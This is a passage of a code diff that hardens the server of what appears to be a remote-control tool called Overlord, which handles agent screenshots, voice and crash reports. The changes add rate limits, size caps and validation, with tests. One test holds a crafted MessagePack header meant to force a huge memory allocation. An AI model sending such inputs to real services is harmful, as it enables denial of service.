createNotificationPluginHandlers(deps: CreateDeps) { clientId: string, crash: { reason: string; detail?: string; host?: string; user?: string; os?: string }, ) { - const reason = String(crash.reason || "").trim(); + const ts = Date.now(); + if (!shouldAcceptNotification(clientId, ts) || !checkAntiSpam(clientId, ts)) return; + + const reason = sanitizeNotificationText(crash.reason, 128); if (!reason) return; const info = clientManager.getClient(clientId); - const detail = String(crash.detail || "").trim(); + const detail = sanitizeNotificationText(crash.detail, MAX_NOTIFICATION_PATH_LENGTH); const record: NotificationRecord = { id: uuidv4(), clientId, @@ -393,7 +515,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { detail, keyword: "crash", category: "crash_report", - ts: Date.now(), + ts, }; logger.warn(`[notify] crash report client=${clientId} reason=${reason}`); @@ -419,11 +541,22 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { ); }, - handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) { + handleNotificationScreenshotFailure( + commandId?: string, + ok?: boolean, + message?: string, + clientId?: string, + ) { if (!commandId) return; if (ok === true) return; const pending = deps.pendingNotificationScreenshots.get(commandId); if (!pending) return; + if (!clientId || pending.clientId !== clientId) { + logger.warn( + `[notify] ignored screenshot failure from wrong client commandId=${commandId}`, + ); + return; + } clearTimeout(pending.timeout); deps.pendingNotificationScreenshots.delete(commandId); if (message) { @@ -436,6 +569,12 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { if (!commandId) return; const pending = deps.pendingNotificationScreenshots.get(commandId); if (!pending) return; + if (pending.clientId !== clientId) { + logger.warn( + `[notify] ignored screenshot result for wrong client commandId=${commandId}`, + ); + return; + } clearTimeout(pending.timeout); deps.pendingNotificationScreenshots.delete(commandId); @@ -444,24 +583,18 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { return; } - let bytes: Uint8Array | null = null; - if (payload.data instanceof Uint8Array) { - bytes = payload.data; - } else if (payload.data instanceof ArrayBuffer) { - bytes = new Uint8Array(payload.data); - } else if (ArrayBuffer.isView(payload.data)) { - bytes = new Uint8Array(payload.data.buffer); - } - - if (!bytes || bytes.length === 0) { - logger.warn(`[notify] screenshot missing data commandId=${commandId}`); + const screenshot = validateNotificationScreenshotPayload(payload); + if (!screenshot) { + logger.warn(`[notify] rejected invalid screenshot commandId=${commandId}`); return; } - - const format = typeof payload.format === "string" ? payload.format : "jpeg"; - const width = Number(payload.width) || undefined; - const height = Number(payload.height) || undefined; - deps.storeNotificationScreenshot(pending, bytes, format, width, height); + deps.storeNotificationScreenshot( + pending, + screenshot.bytes, + screenshot.format, + screenshot.width, + screenshot.height, + ); }, clearPendingNotificationScreenshots(clientId: string) { @@ -526,6 +659,14 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { safeSendViewer(session.viewer, item); } + // Keep browser viewers live, but prevent a leaked agent token from + // amplifying fresh-key enrollment floods into unbounded push/webhook/ + // Telegram traffic. + if (event === "client_purgatory" && !allowPurgatoryExternalDelivery(info.ip)) { + logger.warn(`[notify] suppressed excessive purgatory external delivery from ${info.ip || "unknown"}`); + return; + } + const externalTargets = deps.getDeliveryTargetsForClientEvent(event, info.id); const pushEnabledByUser = new Map(externalTargets.map((t) => [t.userId, t.clientEventPush])); diff --git a/Overlord-Server/src/server/ws-viewer-utils.test.ts b/Overlord-Server/src/server/ws-viewer-utils.test.ts index 3b77d71..c8f4f46 100644 --- a/Overlord-Server/src/server/ws-viewer-utils.test.ts +++ b/Overlord-Server/src/server/ws-viewer-utils.test.ts @@ -1,5 +1,25 @@ import { describe, expect, test } from "bun:test"; -import { buildViewerFrameBuffer } from "./ws-viewer-utils"; +import { encode } from "@msgpack/msgpack"; +import { + buildViewerFrameBuffer, + decodeViewerPayload, + MAX_VIEWER_AUDIO_CHUNK_BYTES, + MAX_VIEWER_BUFFERED_BYTES, + MAX_VIEWER_MESSAGE_BYTES, + safeSendViewer, + safeSendViewerBytes, +} from "./ws-viewer-utils"; + +describe("viewer inbound MessagePack limits", () => { + test("decodes normal payloads and rejects allocation-amplifying containers", () => { + expect(decodeViewerPayload(encode({ type: "input", x: 10 }))).toEqual({ + type: "input", + x: 10, + }); + expect(decodeViewerPayload(new Uint8Array([0xdd, 0xff, 0xff, 0xff, 0xff]))) + .toBeNull(); + }); +}); describe("viewer frame protocol", () => { test("encodes HEVC as compact frame format 5", () => { @@ -19,3 +39,40 @@ describe("viewer frame protocol", () => { expect(frame.slice(12)).toEqual(payload); }); }); + +describe("viewer outbound limits", () => { + function mockViewer(buffered = 0) { + const sent: unknown[] = []; + return { + sent, + socket: { + data: {}, + getBufferedAmount: () => buffered, + send: (value: unknown) => { sent.push(value); }, + } as any, + }; + } + + test("drops encoded messages that exceed the cap or a backpressured socket", () => { + const oversized = mockViewer(); + expect(safeSendViewer(oversized.socket, { value: "x".repeat(MAX_VIEWER_MESSAGE_BYTES + 1) })).toBe(false); + expect(oversized.sent).toHaveLength(0); + + const backpressured = mockViewer(MAX_VIEWER_BUFFERED_BYTES + 1); + expect(safeSendViewer(backpressured.socket, { ok: true })).toBe(false); + expect(backpressured.sent).toHaveLength(0); + }); + + test("bounds binary chunks and preserves accepted subviews", () => { + const rejected = mockViewer(); + expect(safeSendViewerBytes(rejected.socket, new Uint8Array())).toBe(false); + expect(safeSendViewerBytes(rejected.socket, new Uint8Array(MAX_VIEWER_AUDIO_CHUNK_BYTES + 1))).toBe(false); + expect(rejected.sent).toHaveLength(0); + + const accepted = mockViewer(); + const backing = new Uint8Array([9, 1, 2, 3, 8]); + expect(safeSendViewerBytes(accepted.socket, backing.subarray(1, 4))).toBe(true); + expect(accepted.sent).toHaveLength(1); + expect(Array.from(accepted.sent[0] as Uint8Array)).toEqual([1, 2, 3]); + }); +}); diff --git a/Overlord-Server/src/server/ws-viewer-utils.ts b/Overlord-Server/src/server/ws-viewer-utils.ts index 5a1d3a0..9096a72 100644 --- a/Overlord-Server/src/server/ws-viewer-utils.ts +++ b/Overlord-Server/src/server/ws-viewer-utils.ts @@ -1,9 +1,14 @@ import type { ServerWebSocket } from "bun"; import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack"; import { logger } from "../logger"; +import { preflightMessagePack } from "../messagepack-preflight"; import { metrics } from "../metrics"; import type { SocketData } from "../sessions/types"; +export const MAX_VIEWER_MESSAGE_BYTES = 256 * 1024 * 1024; +export const MAX_VIEWER_BUFFERED_BYTES = 64 * 1024 * 1024; +export const MAX_VIEWER_AUDIO_CHUNK_BYTES = 16 * 1024 * 1024; + export function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null { if (typeof raw === "string") { try { @@ -14,6 +19,7 @@ export function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any } try { const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw); + preflightMessagePack(buf); return msgpackDecode(buf); } catch { return null; @@ -24,11 +30,45 @@ export function safeSendViewer( ws: ServerWebSocket, payload: unknown, logContext = "viewer", -) { +): boolean { try { - ws.send(msgpackEncode(payload)); + if ((ws.getBufferedAmount?.() ?? 0) > MAX_VIEWER_BUFFERED_BYTES) { + logger.debug(`[${logContext}] dropped viewer message due to backpressure`); + return false; + } + const encoded = msgpackEncode(payload); + if (encoded.byteLength > MAX_VIEWER_MESSAGE_BYTES) { + logger.debug(`[${logContext}] dropped oversized viewer message (${encoded.byteLength} bytes)`); + return false; + } + ws.send(encoded); + return true; } catch (err) { logger.error(`[${logContext}] viewer send failed`, err); + return false; + } +} + +export function safeSendViewerBytes( + ws: ServerWebSocket, + bytes: Uint8Array, + maxBytes = MAX_VIEWER_AUDIO_CHUNK_BYTES, + logContext = "viewer-binary", +): boolean { + try { + if (bytes.byteLength === 0 || bytes.byteLength > maxBytes) { + logger.debug(`[${logContext}] dropped invalid viewer binary chunk (${bytes.byteLength} bytes)`); + return false; + } + if ((ws.getBufferedAmount?.() ?? 0) > MAX_VIEWER_BUFFERED_BYTES) { + logger.debug(`[${logContext}] dropped viewer binary chunk due to backpressure`); + return false; + } + ws.send(bytes); + return true; + } catch (err) { + logger.error(`[${logContext}] viewer binary send failed`, err); + return false; } } diff --git a/Overlord-Server/src/server/ws-voice.ts b/Overlord-Server/src/server/ws-voice.ts index 048bc20..3b028e4 100644 --- a/Overlord-Server/src/server/ws-voice.ts +++ b/Overlord-Server/src/server/ws-voice.ts @@ -5,6 +5,7 @@ import { encodeMessage } from "../protocol"; import * as sessionManager from "../sessions/sessionManager"; import type { SocketData, VoiceViewer } from "../sessions/types"; import { canUserAccessClient } from "../users"; +import { safeSendViewerBytes } from "./ws-viewer-utils"; function sendVoiceCommand(clientId: string, commandType: "voice_session_start" | "voice_session_stop" | "voice_downlink", payload: Record) { const target = clientManager.getClient(clientId); @@ -83,25 +84,20 @@ export function handleVoiceViewerMessage(ws: ServerWebSocket, raw: s } export function handleVoiceUplink(clientId: string, payload: any) { + if (typeof payload?.sessionId === "string" && payload.sessionId.length > 128) return; const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : ""; const bytes = payload?.data instanceof Uint8Array ? payload.data : payload?.data instanceof ArrayBuffer ? new Uint8Array(payload.data) : ArrayBuffer.isView(payload?.data) - ? new Uint8Array(payload.data.buffer) + ? new Uint8Array(payload.data.buffer, payload.data.byteOffset, payload.data.byteLength) : null; if (!bytes || bytes.byteLength === 0) return; for (const session of sessionManager.getVoiceSessionsByClient(clientId)) { - if (sessionId) { - if (session.id !== sessionId) continue; - } - try { - session.viewer.send(bytes); - } catch { - // ignore failed sends; cleanup happens on close - } + if (sessionId && session.id !== sessionId) continue; + safeSendViewerBytes(session.viewer, bytes, undefined, "voice"); } } diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts index c38d048..9e8ff54 100644 --- a/Overlord-Server/src/sessions/types.ts +++ b/Overlord-Server/src/sessions/types.ts @@ -29,12 +29,17 @@ export type SocketData = { autoTasksRan?: boolean; autoDeploysRan?: boolean; enrollmentNonce?: string; + enrollmentState?: "challenged" | "verifying" | "authenticated" | "rejected"; + enrollmentTimeout?: ReturnType; disconnectReason?: string; disconnectDetail?: string; rdDecoderCodecs?: string[]; rdPreferredCodecs?: string[]; rdCodecTransport?: "websocket" | "webrtc"; rdSelectedCodec?: string; + ingressBudgetUpdatedAt?: number; + ingressByteTokens?: number; + ingressMessageTokens?: number; }; export type ConsoleSession = { diff --git a/Overlord-Server/src/thumbnails-security.test.ts b/Overlord-Server/src/thumbnails-security.test.ts new file mode 100644 index 0000000..7876814 --- /dev/null +++ b/Overlord-Server/src/thumbnails-security.test.ts @@ -0,0 +1,194 @@ +import { describe, expect, test } from "bun:test"; +import { + MAX_PENDING_THUMBNAIL_FRAMES, + MAX_QUEUED_THUMBNAIL_GEN, + MAX_THUMBNAIL_REQUEST_IDS, + MAX_THUMBNAIL_SOURCE_BYTES, + MAX_THUMBNAIL_WAITER_IDS, + clearThumbnail, + clearThumbnailRequest, + createBoundedThumbnailScheduler, + generateThumbnail, + getThumbnailStats, + getThumbnailVersion, + markThumbnailRequested, + notifyThumbnailGenerated, + requestThumbnailRegen, + setLatestFrame, + waitForThumbnail, +} from "./thumbnails"; + +function deferred() { + let resolve!: (value: T | PromiseLike) => void; + let reject!: (reason?: unknown) => void; + const promise = new Promise((res, rej) => { + resolve = res; + reject = rej; + }); + return { promise, resolve, reject }; +} + +describe("thumbnail fleet resource bounds", () => { + test("generation scheduler rejects work beyond its bounded queue", async () => { + const scheduler = createBoundedThumbnailScheduler(1, 2); + const gates = [deferred(), deferred(), deferred()]; + const jobs = gates.map((gate) => scheduler.run(() => gate.promise)); + + expect(scheduler.getStats()).toEqual({ active: 1, queued: 2 }); + const rejected = await scheduler.run(async () => undefined); + expect(rejected).toEqual({ accepted: false }); + expect(scheduler.getStats()).toEqual({ active: 1, queued: 2 }); + + gates[0]!.resolve(); + expect(await jobs[0]).toEqual({ accepted: true, value: undefined }); + await Promise.resolve(); + expect(scheduler.getStats()).toEqual({ active: 1, queued: 1 }); + + gates[1]!.resolve(); + await jobs[1]; + gates[2]!.resolve(); + await jobs[2]; + await Promise.resolve(); + expect(scheduler.getStats()).toEqual({ active: 0, queued: 0 }); + }); + + test("pending source frames are admitted only up to the fleet count cap", () => { + const prefix = `pending-${crypto.randomUUID()}`; + const ids: string[] = []; + try { + for (let index = 0; index < MAX_PENDING_THUMBNAIL_FRAMES; index += 1) { + const id = `${prefix}-${index}`; + ids.push(id); + expect(setLatestFrame(id, new Uint8Array([index & 0xff]), "jpeg")).toBe(true); + } + const rejectedId = `${prefix}-rejected`; + ids.push(rejectedId); + expect(setLatestFrame(rejectedId, new Uint8Array([1]), "jpeg")).toBe(false); + + const stats = getThumbnailStats(); + expect(stats.pendingFrames).toBe(MAX_PENDING_THUMBNAIL_FRAMES); + expect(stats.pendingFrameBytes).toBe(MAX_PENDING_THUMBNAIL_FRAMES); + expect(stats.pendingFrameMax).toBe(MAX_PENDING_THUMBNAIL_FRAMES); + expect(stats.genQueueMax).toBe(MAX_QUEUED_THUMBNAIL_GEN); + } finally { + for (const id of ids) clearThumbnail(id); + } + expect(getThumbnailStats().pendingFrames).toBe(0); + }); + + test("oversized and failed sources release pending-frame accounting", async () => { + const oversizedId = `oversized-${crypto.randomUUID()}`; + expect( + setLatestFrame( + oversizedId, + new Uint8Array(MAX_THUMBNAIL_SOURCE_BYTES + 1), + "jpeg", + ), + ).toBe(false); + + const invalidId = `invalid-${crypto.randomUUID()}`; + expect(setLatestFrame(invalidId, new Uint8Array([1, 2, 3]), "x".repeat(4 * 1024 * 1024))).toBe(false); + expect(setLatestFrame(invalidId, new Uint8Array([1, 2, 3]), "gif")).toBe(false); + expect(await generateThumbnail(invalidId)).toBe(false); + + const failedId = `failed-${crypto.randomUUID()}`; + expect(setLatestFrame(failedId, new Uint8Array([1, 2, 3]), "jpeg")).toBe(true); + const originalImage = (Bun as any).Image; + try { + (Bun as any).Image = undefined; + expect(await generateThumbnail(failedId)).toBe(false); + } finally { + (Bun as any).Image = originalImage; + } + expect(getThumbnailStats().pendingFrames).toBe(0); + }); + + test("requests without a retained source do not create generation work", async () => { + const prefix = `empty-${crypto.randomUUID()}`; + const results = await Promise.all( + Array.from({ length: MAX_QUEUED_THUMBNAIL_GEN + 10 }, (_, index) => + requestThumbnailRegen(`${prefix}-${index}`)), + ); + expect(results.every((value) => value === false)).toBe(true); + const stats = getThumbnailStats(); + expect(stats.genActive).toBe(0); + expect(stats.genQueued).toBe(0); + expect(stats.genStateTracked).toBe(0); + }); + + test("generated cache bytes stay bounded and versions survive cache clears", async () => { + const originalImage = (Bun as any).Image; + class FakeImage { + resize() { + return { + webp: () => ({ bytes: async () => new Uint8Array([1]) }), + }; + } + } + (Bun as any).Image = FakeImage; + const prefix = `metadata-${crypto.randomUUID()}`; + const ids: string[] = []; + try { + const cacheMax = getThumbnailStats().cacheMax; + for (let index = 0; index <= cacheMax; index += 1) { + const id = `${prefix}-${index}`; + ids.push(id); + if (!setLatestFrame(id, new Uint8Array([1]), "jpeg")) { + throw new Error("test frame unexpectedly rejected"); + } + if (!await generateThumbnail(id)) { + throw new Error("test thumbnail unexpectedly failed"); + } + } + const reconnectId = ids[ids.length - 1]!; + const versionBeforeClear = getThumbnailVersion(reconnectId); + expect(versionBeforeClear).toBeGreaterThan(0); + clearThumbnail(reconnectId); + expect(setLatestFrame(reconnectId, new Uint8Array([1]), "jpeg")).toBe(true); + expect(await generateThumbnail(reconnectId)).toBe(true); + expect(getThumbnailVersion(reconnectId)).toBeGreaterThan(versionBeforeClear); + + const stats = getThumbnailStats(); + expect(stats.cachedCount).toBe(stats.cacheMax); + expect(stats.cachedBytes).toBe(stats.cachedCount); + expect(stats.cachedBytes).toBeLessThanOrEqual(stats.cacheMaxBytes); + } finally { + (Bun as any).Image = originalImage; + for (const id of ids) clearThumbnail(id); + } + expect(getThumbnailStats().cachedBytes).toBe(0); + }); + + test("request markers have a hard fleet identity cap", () => { + const prefix = `request-${crypto.randomUUID()}`; + const ids: string[] = []; + try { + for (let index = 0; index < MAX_THUMBNAIL_REQUEST_IDS; index += 1) { + const id = `${prefix}-${index}`; + ids.push(id); + expect(markThumbnailRequested(id)).toBe(true); + } + expect(markThumbnailRequested(`${prefix}-rejected`)).toBe(false); + expect(getThumbnailStats().requestIdsTracked).toBe(MAX_THUMBNAIL_REQUEST_IDS); + } finally { + for (const id of ids) clearThumbnailRequest(id); + } + }); + + test("waiter identities are bounded and released after notification", async () => { + const prefix = `waiter-${crypto.randomUUID()}`; + const ids = Array.from( + { length: MAX_THUMBNAIL_WAITER_IDS }, + (_, index) => `${prefix}-${index}`, + ); + const waiters = ids.map((id) => waitForThumbnail(id, 10_000)); + expect(getThumbnailStats().waiterIdsTracked).toBe(MAX_THUMBNAIL_WAITER_IDS); + expect(await waitForThumbnail(`${prefix}-rejected`, 10_000)).toBe(false); + + for (const id of ids) notifyThumbnailGenerated(id); + expect((await Promise.all(waiters)).every(Boolean)).toBe(true); + const stats = getThumbnailStats(); + expect(stats.waiterIdsTracked).toBe(0); + expect(stats.waitersTracked).toBe(0); + }); +}); diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts index a000c1d..d6585a1 100644 --- a/Overlord-Server/src/thumbnails.ts +++ b/Overlord-Server/src/thumbnails.ts @@ -1,39 +1,118 @@ -const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 1920)); -const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 1080)); -const THUMBNAIL_QUALITY = Math.min(95, Math.max(40, Number(process.env.OVERLORD_THUMBNAIL_QUALITY || 88))); -const MAX_THUMBNAIL_SOURCE_BYTES = Math.max( - 256 * 1024, - Number(process.env.OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES || 16 * 1024 * 1024), -); -const THUMBNAIL_CACHE_MAX = Math.max( - 64, - Number(process.env.OVERLORD_THUMBNAIL_CACHE_MAX || 2000), -); -const MAX_CONCURRENT_THUMBNAIL_GEN = Math.max( - 1, - Number(process.env.OVERLORD_THUMBNAIL_CONCURRENCY || 4), -); -let _activeThumbnailGen = 0; -const _thumbnailGenQueue: Array<() => void> = []; - -function withThumbnailSlot(fn: () => Promise): Promise { - return new Promise((resolve, reject) => { - const run = () => { - _activeThumbnailGen++; - fn().then(resolve, reject).finally(() => { - _activeThumbnailGen--; - const next = _thumbnailGenQueue.shift(); - if (next) next(); - }); - }; - if (_activeThumbnailGen < MAX_CONCURRENT_THUMBNAIL_GEN) { - run(); - } else { - _thumbnailGenQueue.push(run); - } - }); +function boundedIntegerEnv(name: string, fallback: number, minimum: number, maximum: number): number { + const parsed = Number(process.env[name]); + if (!Number.isSafeInteger(parsed)) return fallback; + return Math.min(maximum, Math.max(minimum, parsed)); } +const THUMBNAIL_WIDTH = boundedIntegerEnv("OVERLORD_THUMBNAIL_WIDTH", 1920, 64, 8192); +const THUMBNAIL_HEIGHT = boundedIntegerEnv("OVERLORD_THUMBNAIL_HEIGHT", 1080, 48, 8192); +const THUMBNAIL_QUALITY = boundedIntegerEnv("OVERLORD_THUMBNAIL_QUALITY", 88, 40, 95); +export const MAX_THUMBNAIL_SOURCE_BYTES = boundedIntegerEnv( + "OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES", + 64 * 1024 * 1024, + 256 * 1024, + 64 * 1024 * 1024, +); +const THUMBNAIL_CACHE_MAX = boundedIntegerEnv( + "OVERLORD_THUMBNAIL_CACHE_MAX", + 2000, + 64, + 10_000, +); +const THUMBNAIL_CACHE_MAX_BYTES = boundedIntegerEnv( + "OVERLORD_THUMBNAIL_CACHE_MAX_BYTES", + 1024 * 1024 * 1024, + 16 * 1024 * 1024, + 4 * 1024 * 1024 * 1024, +); +const MAX_CONCURRENT_THUMBNAIL_GEN = boundedIntegerEnv( + "OVERLORD_THUMBNAIL_CONCURRENCY", + 4, + 1, + 32, +); +export const MAX_PENDING_THUMBNAIL_FRAMES = boundedIntegerEnv( + "OVERLORD_THUMBNAIL_PENDING_MAX_COUNT", + 512, + 1, + 4096, +); +export const MAX_PENDING_THUMBNAIL_BYTES = boundedIntegerEnv( + "OVERLORD_THUMBNAIL_PENDING_MAX_BYTES", + 512 * 1024 * 1024, + 1024 * 1024, + 1024 * 1024 * 1024, +); +export const MAX_QUEUED_THUMBNAIL_GEN = boundedIntegerEnv( + "OVERLORD_THUMBNAIL_QUEUE_MAX", + 512, + 0, + 4096, +); +export const MAX_THUMBNAIL_REQUEST_IDS = boundedIntegerEnv( + "OVERLORD_THUMBNAIL_REQUEST_MAX", + 4096, + 16, + 4096, +); +export const MAX_THUMBNAIL_WAITER_IDS = boundedIntegerEnv( + "OVERLORD_THUMBNAIL_WAITER_ID_MAX", + 4096, + 16, + 4096, +); +export const MAX_THUMBNAIL_WAITERS = boundedIntegerEnv( + "OVERLORD_THUMBNAIL_WAITER_MAX", + 8192, + 16, + 8192, +); +const MAX_THUMBNAIL_WAITERS_PER_ID = 16; +const THUMBNAIL_REQUEST_RETENTION_MS = 30_000; +const MAX_THUMBNAIL_WAITER_TIMEOUT_MS = 10_000; + +export type ThumbnailScheduleResult = + | { accepted: true; value: T } + | { accepted: false }; + +export function createBoundedThumbnailScheduler(maxConcurrent: number, maxQueued: number) { + let active = 0; + const queue: Array<() => void> = []; + + return { + run(fn: () => Promise): Promise> { + return new Promise>((resolve, reject) => { + const execute = () => { + active += 1; + fn().then( + (value) => resolve({ accepted: true, value }), + reject, + ).finally(() => { + active -= 1; + const next = queue.shift(); + if (next) next(); + }); + }; + if (active < maxConcurrent) { + execute(); + } else if (queue.length < maxQueued) { + queue.push(execute); + } else { + resolve({ accepted: false }); + } + }); + }, + getStats(): { active: number; queued: number } { + return { active, queued: queue.length }; + }, + }; +} + +const thumbnailScheduler = createBoundedThumbnailScheduler( + MAX_CONCURRENT_THUMBNAIL_GEN, + MAX_QUEUED_THUMBNAIL_GEN, +); + type ThumbnailRecord = { bytes: Uint8Array; contentType: string; @@ -44,7 +123,9 @@ type ThumbnailRecord = { const thumbnails = new Map(); const latestFrames = new Map(); const thumbnailRequests = new Map(); -const thumbnailVersionHWM = new Map(); +let cachedThumbnailBytes = 0; +let latestFrameBytes = 0; +let thumbnailVersionSequence = Date.now(); type BunImageConstructor = new ( bytes: Uint8Array, @@ -73,11 +154,50 @@ function touchThumbnailLRU(id: string) { thumbnails.set(id, existing); } +function deleteCachedThumbnail(id: string): boolean { + const existing = thumbnails.get(id); + if (!existing) return false; + thumbnails.delete(id); + cachedThumbnailBytes = Math.max(0, cachedThumbnailBytes - existing.bytes.byteLength); + return true; +} + function evictThumbnailsIfFull() { - while (thumbnails.size > THUMBNAIL_CACHE_MAX) { + while ( + thumbnails.size > THUMBNAIL_CACHE_MAX + || cachedThumbnailBytes > THUMBNAIL_CACHE_MAX_BYTES + ) { const oldestKey = thumbnails.keys().next().value; if (oldestKey === undefined) break; - thumbnails.delete(oldestKey); + deleteCachedThumbnail(oldestKey); + } +} + +function deleteLatestFrame( + id: string, + expected?: { bytes: Uint8Array; format: string; capturedAt: number }, +): boolean { + const existing = latestFrames.get(id); + if (!existing || (expected && existing !== expected)) return false; + latestFrames.delete(id); + latestFrameBytes = Math.max(0, latestFrameBytes - existing.bytes.byteLength); + return true; +} + +function nextThumbnailVersion(prior?: ThumbnailRecord): number { + thumbnailVersionSequence = Math.max( + thumbnailVersionSequence + 1, + Date.now(), + (prior?.version || 0) + 1, + ); + return thumbnailVersionSequence; +} + +function pruneThumbnailRequests(now: number) { + for (const [id, timestamp] of thumbnailRequests) { + if (now - timestamp > THUMBNAIL_REQUEST_RETENTION_MS) { + thumbnailRequests.delete(id); + } } } @@ -114,17 +234,42 @@ export function getThumbnailSummaries(ids: readonly string[]): Map MAX_THUMBNAIL_SOURCE_BYTES) { - latestFrames.delete(id); - return; +export function setLatestFrame(id: string, bytes: Uint8Array, format: string): boolean { + const rawFormat = typeof format === "string" && format.length <= 4 + ? format.toLowerCase() + : ""; + const normalizedFormat = rawFormat === "jpg" ? "jpeg" : rawFormat; + if ( + !bytes + || bytes.byteLength === 0 + || bytes.byteLength > MAX_THUMBNAIL_SOURCE_BYTES + || (normalizedFormat !== "jpeg" && normalizedFormat !== "webp") + ) { + deleteLatestFrame(id); + return false; } - latestFrames.set(id, { bytes, format, capturedAt: Date.now() }); + const existing = latestFrames.get(id); + const nextCount = latestFrames.size + (existing ? 0 : 1); + const nextBytes = latestFrameBytes - (existing?.bytes.byteLength || 0) + bytes.byteLength; + if ( + nextCount > MAX_PENDING_THUMBNAIL_FRAMES + || nextBytes > MAX_PENDING_THUMBNAIL_BYTES + ) { + return false; + } + + // Store an exact-size copy. A small view can otherwise retain an arbitrarily + // large WebSocket/message backing buffer until image generation completes. + const retainedBytes = Uint8Array.from(bytes); + if (existing) latestFrames.delete(id); + latestFrames.set(id, { bytes: retainedBytes, format: normalizedFormat, capturedAt: Date.now() }); + latestFrameBytes = nextBytes; + return true; } async function buildThumbnailBytes(bytes: Uint8Array, format: string): Promise { @@ -164,37 +309,38 @@ export async function generateThumbnail(id: string): Promise { try { const out = await buildThumbnailBytes(frameData.bytes, frameData.format); - if (!out) { + if (!out || out.byteLength > THUMBNAIL_CACHE_MAX_BYTES) { return false; } const prior = thumbnails.get(id); const now = Date.now(); - const hwm = thumbnailVersionHWM.get(id) ?? (prior?.version ?? 0); - const newVersion = hwm + 1; - thumbnailVersionHWM.set(id, newVersion); - if (prior) thumbnails.delete(id); + const newVersion = nextThumbnailVersion(prior); + if (prior) deleteCachedThumbnail(id); thumbnails.set(id, { bytes: out, contentType: "image/webp", version: newVersion, updatedAt: now, }); + cachedThumbnailBytes += out.byteLength; evictThumbnailsIfFull(); - if (latestFrames.get(id) === frameData) { - latestFrames.delete(id); - } return true; } catch (err) { if (getBunImage()) { console.error(`[thumbnails] Failed to generate thumbnail for client ${id}:`, err); } return false; + } finally { + // Invalid/unsupported sources must not occupy the pending-frame budget + // indefinitely. Preserve a newer frame that arrived during generation. + deleteLatestFrame(id, frameData); } } const thumbnailGenState = new Map(); export async function requestThumbnailRegen(id: string): Promise { + if (!latestFrames.has(id)) return false; let state = thumbnailGenState.get(id); if (!state) { state = { inFlight: false, pending: false }; @@ -207,7 +353,7 @@ export async function requestThumbnailRegen(id: string): Promise { state.inFlight = true; let didGenerate = false; try { - await withThumbnailSlot(async () => { + const scheduled = await thumbnailScheduler.run(async () => { while (true) { state!.pending = false; const ok = await generateThumbnail(id); @@ -215,6 +361,10 @@ export async function requestThumbnailRegen(id: string): Promise { if (!state!.pending) break; } }); + if (!scheduled.accepted) { + deleteLatestFrame(id); + return false; + } } finally { state.inFlight = false; if (thumbnailGenState.get(id) === state && !state.pending) { @@ -224,8 +374,15 @@ export async function requestThumbnailRegen(id: string): Promise { return didGenerate; } -export function markThumbnailRequested(id: string) { - thumbnailRequests.set(id, Date.now()); +export function markThumbnailRequested(id: string): boolean { + const now = Date.now(); + pruneThumbnailRequests(now); + if (!thumbnailRequests.has(id) && thumbnailRequests.size >= MAX_THUMBNAIL_REQUEST_IDS) { + return false; + } + thumbnailRequests.delete(id); + thumbnailRequests.set(id, now); + return true; } export function isThumbnailRequested(id: string, windowMs = 5000): boolean { @@ -246,21 +403,43 @@ export function getThumbnailStats(): { cachedCount: number; cachedBytes: number; pendingFrames: number; + pendingFrameBytes: number; genActive: number; genQueued: number; genStateTracked: number; + requestIdsTracked: number; + waiterIdsTracked: number; + waitersTracked: number; cacheMax: number; + cacheMaxBytes: number; + pendingFrameMax: number; + pendingFrameMaxBytes: number; + genQueueMax: number; + requestIdMax: number; + waiterIdMax: number; + waiterMax: number; } { - let cachedBytes = 0; - for (const rec of thumbnails.values()) cachedBytes += rec.bytes.byteLength; + pruneThumbnailRequests(Date.now()); + const schedulerStats = thumbnailScheduler.getStats(); return { cachedCount: thumbnails.size, - cachedBytes, + cachedBytes: cachedThumbnailBytes, pendingFrames: latestFrames.size, - genActive: _activeThumbnailGen, - genQueued: _thumbnailGenQueue.length, + pendingFrameBytes: latestFrameBytes, + genActive: schedulerStats.active, + genQueued: schedulerStats.queued, genStateTracked: thumbnailGenState.size, + requestIdsTracked: thumbnailRequests.size, + waiterIdsTracked: thumbnailWaiters.size, + waitersTracked: thumbnailWaiterCount, cacheMax: THUMBNAIL_CACHE_MAX, + cacheMaxBytes: THUMBNAIL_CACHE_MAX_BYTES, + pendingFrameMax: MAX_PENDING_THUMBNAIL_FRAMES, + pendingFrameMaxBytes: MAX_PENDING_THUMBNAIL_BYTES, + genQueueMax: MAX_QUEUED_THUMBNAIL_GEN, + requestIdMax: MAX_THUMBNAIL_REQUEST_IDS, + waiterIdMax: MAX_THUMBNAIL_WAITER_IDS, + waiterMax: MAX_THUMBNAIL_WAITERS, }; } @@ -276,17 +455,28 @@ export function consumeThumbnailRequest(id: string, windowMs = 5000): boolean { } const thumbnailWaiters = new Map void>>(); +let thumbnailWaiterCount = 0; export function notifyThumbnailGenerated(id: string) { const waiters = thumbnailWaiters.get(id); if (!waiters) return; thumbnailWaiters.delete(id); + thumbnailWaiterCount = Math.max(0, thumbnailWaiterCount - waiters.size); for (const cb of waiters) { try { cb(); } catch {} } } export function waitForThumbnail(id: string, timeoutMs = 2500): Promise { + const existingSet = thumbnailWaiters.get(id); + if ( + (!existingSet && thumbnailWaiters.size >= MAX_THUMBNAIL_WAITER_IDS) + || thumbnailWaiterCount >= MAX_THUMBNAIL_WAITERS + || (existingSet?.size || 0) >= MAX_THUMBNAIL_WAITERS_PER_ID + ) { + return Promise.resolve(false); + } + return new Promise((resolve) => { let settled = false; let callback: () => void; @@ -296,18 +486,24 @@ export function 